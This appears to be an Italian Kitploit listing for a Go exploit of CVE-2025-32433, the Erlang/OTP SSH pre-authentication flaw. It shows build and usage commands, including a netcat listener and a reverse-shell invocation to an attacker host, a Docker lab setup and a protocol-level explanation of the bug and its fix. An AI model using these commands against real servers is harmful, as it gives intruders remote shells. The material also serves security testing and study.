Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
Strumenti/GitHubGitHub/meloppeitreet/cve-2025-32433-remote-shell
Generazione di PayloadAnalisi delle VulnerabilitàExploitShellcodePenetration TestingStrumento di Accesso Remoto
GitHubmeloppeitreet/cve-2025-32433-remote-shell

CVE-2025-32433-Remote-Shell

Exploit basato su Go per CVE-2025-32433

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi
Vedi Repository
1 anno faNon ancora revisionato

CVE-2025-32433 Shell Remota

Exploit basato su Go per CVE-2025-32433 che restituisce una shell bash remota.

Fortemente ispirato alla comprensione dell'exploit derivato dal PoC di ProDefense per CVE-2025-32433.

Esecuzione dell'exploit

root@kitploit:~
make

exploit.exe è reso disponibile anche per macchine Windows tramite il Makefile di cross-compilazione.

Quindi esegui il binario dell'exploit in uno dei 2 modi:

Comando

root@kitploit:~
./exploit <target-ip> <target-port> "<command>"

NOTA: non restituisce l'output del comando

Reverse Shell

root@kitploit:~
nc -lnvp <attacker-port>
root@kitploit:~
./exploit <target-ip> <target-port> <attacker-ip> <attacker-port>

Configurazione dell'ambiente

Utilizzando il Dockerfile di ProDefense, puoi configurare un ambiente nel modo seguente:

root@kitploit:~
docker build -t "cve-2025-32433:Dockerfile" .
root@kitploit:~
docker run -p 2222:2222 cve-2025-32433:Dockerfile

Puoi quindi eseguire l'exploit come descritto nella sezione Esecuzione dell'exploit, ad esempio:

root@kitploit:~
nc -lnvp 4444
root@kitploit:~
./exploit 127.0.0.1 2222 172.17.0.1 4444

172.17.0.1 è l'IP predefinito per l'host Docker

Spiegazione dell'exploit

TL;DR "Il problema è causato da un difetto nella gestione dei messaggi del protocollo SSH che consente a un attaccante di inviare messaggi del protocollo di connessione prima dell'autenticazione,"

Procedura SSH tipica:

root@kitploit:~
SSH_MSG_KEXINIT

→ SSH_MSG_KEXDH_INIT / KEX_ECDH_INIT (key exchange)
→ SSH_MSG_NEWKEYS
→ SSH_MSG_SERVICE_REQUEST ("ssh-userauth")
→ SSH_MSG_USERAUTH_REQUEST
→ SSH_MSG_USERAUTH_SUCCESS

→ SSH_MSG_CHANNEL_OPEN
→ SSH_MSG_CHANNEL_REQUEST

Procedura dell'exploit:

  1. Connessione TCP alla vittima
  2. Scambio del banner SSH
  3. SSH_MSG_KEXINIT
  4. SSH_MSG_CHANNEL_OPEN (Pre-autenticazione)
  5. SSH_MSG_CHANNEL_REQUEST (Pre-autenticazione) --> contiene il payload del comando

Si noti che l'intera parte USERAUTH viene saltata nell'exploit.

Riepilogo dei messaggi

RFC pertinenti per i messaggi SSH:

  • RFC 4253: The Secure Shell (SSH) Transport Layer Protocol
  • RFC 4254: The Secure Shell (SSH) Connection Protocol

Numeri dei messaggi

Numeri dei messaggi nel protocollo di trasporto SSH

Numeri dei messaggi nel protocollo di connessione SSH

Formati dei messaggi

SSH_MSG_KEXINIT

SSH_MSG_KEXINIT

SSH_MSG_CHANNEL_OPEN

SSH_MSG_CHANNEL_OPEN

SSH_MSG_CHANNEL_REQUEST

SSH_MSG_CHANNEL_REQUEST

Altri requisiti

Formato delle stringhe (da RFC 4251: The Secure Shell (SSH) Protocol Architecture)

Stringa

Padding

Padding

Comprensione della correzione e dell'exploit

Quella che segue è la correzione introdotta nelle librerie Erlang OTP nel ssh: early RCE fix commit:

handle_msg

La correzione introduce una nuova clausola handle_msg che, in base ai suoi argomenti, intercetta:

  • Msg: variabile catch-all per qualsiasi messaggio SSH in arrivo non già intercettato da clausole precedenti (come #ssh_msg_disconnect{})
  • #ssh{authenticated = false}: stato della sessione che corrisponde se la connessione non è stata ancora autenticata.

La clausola non intercetta le sessioni con authenticated = true, che viene associato alla sessione quando il server riceve un #ssh_msg_userauth_success{}:

authenticated = true

che viene inviato dopo il successo di uno qualsiasi dei seguenti metodi di autenticazione:

metodi di autenticazione che inviano #ssh_msg_userauth_success{}

Scarica lo strumento